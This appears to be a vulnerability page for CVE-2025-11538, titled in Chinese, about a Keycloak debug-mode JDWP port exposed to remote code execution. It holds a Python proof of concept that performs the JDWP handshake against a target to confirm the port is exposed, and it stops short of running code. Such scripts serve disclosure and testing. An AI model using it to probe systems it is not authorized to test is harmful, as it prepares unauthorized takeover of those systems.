CVE-2025-11538 Keycloak调试模式JDWP端口不安全绑定远程代码执行漏洞

import socket import sys def exploit_keycloak_jdwp(target_host, debug_port): """ CVE-2025-11538 PoC - Keycloak JDWP Remote Code Execution This PoC demonstrates the vulnerability by attempting to connect to the exposed JDWP port and execute arbitrary code. """ try: # Step 1: Handshake with JDWP sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, int(debug_port))) handshake = b'JDWP-Handshake' sock.send(handshake) response = sock.recv(14) if response != handshake: print(f'[-] JDWP handshake failed') return False print(f'[+] JDWP handshake successful - Target is vulnerable!') print(f'[+] Debug port {debug_port} is exposed on {target_host}') print(f'[*] Attacker can now attach debugger and execute code') # Note: Full RCE requires JDWP protocol commands # This PoC confirms the exposure only sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) != 3: print(f'Usage: {sys.argv[0]} <target_host> <debug_port>') sys.exit(1) exploit_keycloak_jdwp(sys.argv[1], sys.argv[2])